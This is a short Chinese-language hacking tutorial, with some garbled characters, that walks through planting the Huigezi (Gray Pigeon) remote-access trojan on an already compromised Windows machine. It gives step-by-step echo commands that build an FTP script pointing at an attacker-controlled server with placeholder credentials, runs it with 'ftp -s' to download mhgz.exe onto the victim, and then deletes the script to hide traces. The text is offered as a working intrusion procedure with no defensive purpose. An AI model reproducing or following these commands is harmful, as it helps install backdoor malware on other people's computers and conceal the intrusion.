在遠(yuǎn)程計算機的CMD環(huán)境下，如果不能通過IPC$渠道傳送文件，那就只有通過FTP下載文件了。
假設(shè)我們已經(jīng)有一個FTP服務(wù)器，上面有一個我們配置好的灰鴿子木馬文件mhgz.exe,我們應(yīng)該知道FTP服務(wù)器的三個參數(shù)：

1、FTP服務(wù)器的IP地址：如1.1.1.1
2、FTP服務(wù)器的用戶名：如test
3、FTP服務(wù)器的密 碼：如test123

在遠(yuǎn)程計算機的CMD下依次輸入下面的命令：

1、echo open 1.1.1.1>>test.txt 登陸FTP服務(wù)器
2、echo test>>test.txt 用戶名
3、echo test123>>test.txt 密碼
4、echo bin>>test.txt 開始
5、echo get mhgz.exe>>test.txt 下載灰鴿子木馬
6、echo bye>>test.txt 關(guān)閉FTP服務(wù)器

輸入上面命令后，在遠(yuǎn)程計算機上就會生成一個test.txt文件，內(nèi)容為：
open 1.1.1.1
test
test123
bin
get mhgz.exe
bye

現(xiàn)在我們在遠(yuǎn)程計算機上執(zhí)行下面的命令：
ftp -s:test.txt 意思是，讀取test.txt里的參數(shù)，執(zhí)行ftp命令，命令執(zhí)行完后，灰鴿子木馬文件mhgz.exe就下載到對方計算機里了。


del c:\test.txt

最新評論